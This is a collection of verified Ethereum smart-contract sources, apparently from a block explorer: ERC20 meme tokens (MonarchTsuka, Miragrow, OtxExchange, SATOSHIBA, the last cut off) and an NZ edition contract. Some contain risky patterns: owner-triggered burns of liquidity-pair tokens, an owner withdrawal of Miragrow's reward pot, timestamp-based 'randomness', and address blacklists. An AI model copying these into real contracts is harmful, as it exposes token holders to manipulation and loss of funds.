allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract MonarchTsuka is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Monarch", "Monarch Tsuka") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 20_000_000 * 1e18; // 2% from total supply maxTransactionAmountTxn maxWallet = 20_000_000 * 1e18; // 3% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x0c95E25D485b1b91428EAAC8B77cE081556b8878); // set as marketing wallet devWallet = address(0x0c95E25D485b1b91428EAAC8B77cE081556b8878); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 3, "Must keep fees at 3% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 3, "Must keep fees at 3% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }

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v0.8.10+commit.fc410830

Default

MIT

ipfs://1ac29410e28f25cbc29e8a86b131cd643e80240a4b5cb2f43f83a1c6bbe785a7

Miragrow

/contracts/Miragrow.sol

0x1ca53c7942bc2348b09b8dd3ba9f5bb582ed34b8

Solidity

pragma solidity ^0.8.17; import "@openzeppelin/contracts/access/Ownable.sol"; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } interface IWETH { function deposit() external payable; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Miragrow is IERC20, Ownable { string private constant _name = "Miragrow"; string private constant _symbol = "MIRA"; uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals); mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address payable private constant _walletMarketing = payable(0xb0D4501B57467c1Aa13708808333dbCEB2D41b02); mapping (address => bool) private _noFees; address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress); address private _primaryLP = address(0); uint256 public startTime; // Reward Start Time uint256 public weekTime; // Reward Weekly Time address public latest_1 = address(0); address public latest_2 = address(0); address public latest_3 = address(0); address[] public buyers; //For weekly reward mapping (address => uint256) lastBuyTime; uint256 public randomResult; //For Random Generator uint256 private nonce = 0; uint256 _taxEth = 0; IWETH constant private weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // Address of WETH contract on Goerli network function convertEthToWeth() external payable { require(msg.value > 0, "Amount must be greater than 0"); weth.deposit{value: msg.value}(); } constructor() { _balances[owner()] = _totalSupply * 99 / 100; _balances[_walletMarketing] = _totalSupply * 1 / 100; _noFees[owner()] = true; _noFees[address(this)] = true; _noFees[_swapRouterAddress] = true; _noFees[_walletMarketing] = true; startTime = block.timestamp; weekTime = block.timestamp; _approveRouter(); } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure returns (uint8) { return _decimals; } function symbol() external pure returns (string memory) { return _symbol; } function name() external pure returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _approveRouter() internal { _allowances[owner()][_swapRouterAddress] = type(uint256).max; _allowances[address(this)][_swapRouterAddress] = type(uint256).max; } function addLiquidity() external payable onlyOwner { require(_primaryLP == address(0), "LP exists"); require(msg.value > 0 || address(this).balance > 0, "No ETH in contract or message"); require(_balances[address(this)] > 0, "No tokens in contract"); _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH()); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from Zero wallet"); // If not adding liqudity if(sender == _swapRouterAddress || sender == _primaryLP) { if(amount > 1000 * (10 ** _decimals)) { latest_3 = latest_2; latest_2 = latest_1; latest_1 = recipient; } //If token amount of buyer is more than 0.25% of total supply if(indexOf(recipient) == type(uint256).max && _balances[recipient] > _totalSupply * 25 / 10000) buyers.push(recipient); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] -= amount; _balances[recipient] += _transferAmount; uint256 _lastPotEth = address(this).balance; if ( _taxAmount > 0 ) { _balances[address(this)] += _taxAmount; _swapTaxTokensForEth(_balances[address(this)]); _taxEth = address(this).balance - _lastPotEth; // For sending 1% to marketing wallet rewardLatestPlayers(); } return true; } function rewardLatestPlayers() public payable { // transfer 1% tax to marketing wallet _walletMarketing.transfer(_taxEth * 1 / 5); _taxEth = 0; uint256 potBalance = address(this).balance; // Every week if(block.timestamp > 604800 + weekTime) payable(buyers[getRandomNumber()]).transfer(potBalance / 2); // Every 12 hours else if (block.timestamp > 42300 + startTime) { payable(latest_1).transfer(potBalance * 5 / 100); payable(latest_2).transfer(potBalance * 3 / 100); payable(latest_3).transfer(potBalance * 2 / 100); } weekTime += ((block.timestamp - weekTime) / 604800) * 604800; startTime += ((block.timestamp - startTime) / 42300) * 42300; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount = 0; if ( !_noFees[sender] && !_noFees[recipient] ) { if ( sender == _swapRouterAddress || recipient == _swapRouterAddress ) { taxAmount = amount * 5 / 100; } } return taxAmount; } function _swapTaxTokensForEth(uint256 tokenAmount) private { _approveRouter(); address[] memory path = new address[](2); path[0] = address(this); path[1] = _primarySwapRouter.WETH(); _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _transferProfit(uint256 tokenAmount) external payable onlyOwner { payable(owner()).transfer(tokenAmount); } function indexOf(address target) internal view returns (uint) { for (uint i = 0; i < buyers.length; i++) { if (buyers[i] == target) { return i; } } return type(uint256).max; } function getRandomNumber() internal returns (uint256) { uint256 randomNumber = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, nonce))) % 100; nonce++; randomResult = randomNumber; return randomNumber; } }

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v0.8.17+commit.8df45f5f

Default

NZ

contracts/NZ.sol

0x8a53610f0a99414d30f7ed87286352c55b110ab6

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Passing Through New Zealand // Editions by Brayden Hall /// @author: manifold.xyz import "./ERC1155Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ___ _ _____ _ _ _ _ ____ _ _ // // | _ \__ _ _____(_)_ _ __ _ |_ _| |_ _ _ ___ _ _ __ _| |_ | \| |_____ __ __ |_ /___ __ _| |__ _ _ _ __| | // // | _/ _` (_-<_-< | ' \/ _` | | | | ' \| '_/ _ \ || / _` | ' \ | .` / -_) V V / / // -_) _` | / _` | ' \/ _` | // // |_| \__,_/__/__/_|_||_\__, | |_| |_||_|_| \___/\_,_\__, |_||_| |_|\_\___|\_/\_/ /___\___\__,_|_\__,_|_||_\__,_| // // |___/ |___/ // // // // #%## // // , ##%#####%. // // %%###############* // // .#%############ .#%## .#%#( // // /%%############, #### /######%# // // ########### ,##( .###* ########.######## // // %##########%## (############# *#%/,### // // .%. ############### .%######### ##( // // #%####. %##############% (#####. .#( // // /##%##%#### ###################%# %#, #/ // // ###########%. ,####/. #### (% .* // // #%#####/#####* ###( .( . // // %####### *##/ // // .########% ##/ // // ,##########. /%* *%#* // // /##########. #* ### // // ########( /, ###/ // // #%####* , ,#%#, // // %### .%%### // // .#/ .(############################* // // ########### // // .##########, // // ###########. // // ,################# // // .,*/(#################################, // // By Brayden Hall // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract NZ is ERC1155Creator { constructor() ERC1155Creator() {} }

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v0.8.7+commit.e28d00a7

Default

0x142fd5b9d67721efda3a5e2e9be47a96c9b724a4

OtxExchange

contracts/OtxExchange.sol

0x7717f2828fe4dac8558d23ee4cdfed9544e9321f

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol"; contract OtxExchange is ERC20, Ownable, ERC20Permit { mapping(address => bool) private blacklisted; uint256 private constant INITIAL_SUPPLY = 550 * 10**6 * 10**18; // 550 million tokens with 18 decimals uint256 private constant MAX_MINTABLE = 550 * 10**6 * 10**18; // 550 million tokens with 18 decimals uint256 private totalMinted = 0; constructor() ERC20("OtxExchange", "OTX") ERC20Permit("OtxExchange") { _mint(msg.sender, INITIAL_SUPPLY); } function mint(address to, uint256 amount) public onlyOwner { require(totalMinted + amount <= MAX_MINTABLE, "OTX: Exceeds max mintable limit"); totalMinted += amount; _mint(to, amount); } function burn(uint256 amount) public { _burn(msg.sender, amount); } function blacklistAddress(address _address, bool _blacklisted) public onlyOwner { require(_address != owner(), "OTX: Owner cannot be blacklisted"); blacklisted[_address] = _blacklisted; } function isBlacklisted(address _address) public view returns (bool) { return blacklisted[_address]; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!blacklisted[from], "OTX: Sender is blacklisted!"); require(!blacklisted[to], "OTX: Receiver is blacklisted!"); } }

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v0.8.20+commit.a1b79de6

paris

MIT

ipfs://b8fe001918885eed96042cc6457790c0b97beae7c49ec1f3fffc6152422c011f

SATOSHIBA

SATOSHIBA.sol

0xcbd50b8f3524eb06edc6210ecb610abcdf4233b3

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SATOSHIBA is Context , IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; address payable private _taxWallet; uint256 private _initialBuyTax=8; uint256 private _initialSellTax=8; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=9; uint256 private _reduceSellTaxAt=9; uint256 private _preventSwapBefore=10; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Satoshiba"; string private constant _symbol = unicode"SATOSHIBA"; uint256 public _maxTxAmount = 20000000 * 10**_decimals; uint256 public _maxWalletSize = 20000000 * 10**_decimals; uint256 public _taxSwapThreshold= 10000 * 10**_decimals; uint256 public _maxTaxSwap= 20000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = 